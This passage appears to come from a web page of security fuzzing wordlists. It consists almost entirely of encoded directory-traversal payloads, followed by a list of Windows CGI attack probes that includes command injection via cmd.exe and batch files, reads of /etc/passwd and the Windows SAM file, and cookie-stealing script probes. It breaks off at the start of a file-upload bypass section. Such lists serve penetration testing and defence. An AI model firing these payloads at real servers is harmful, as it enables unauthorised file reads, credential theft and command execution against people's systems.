%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # 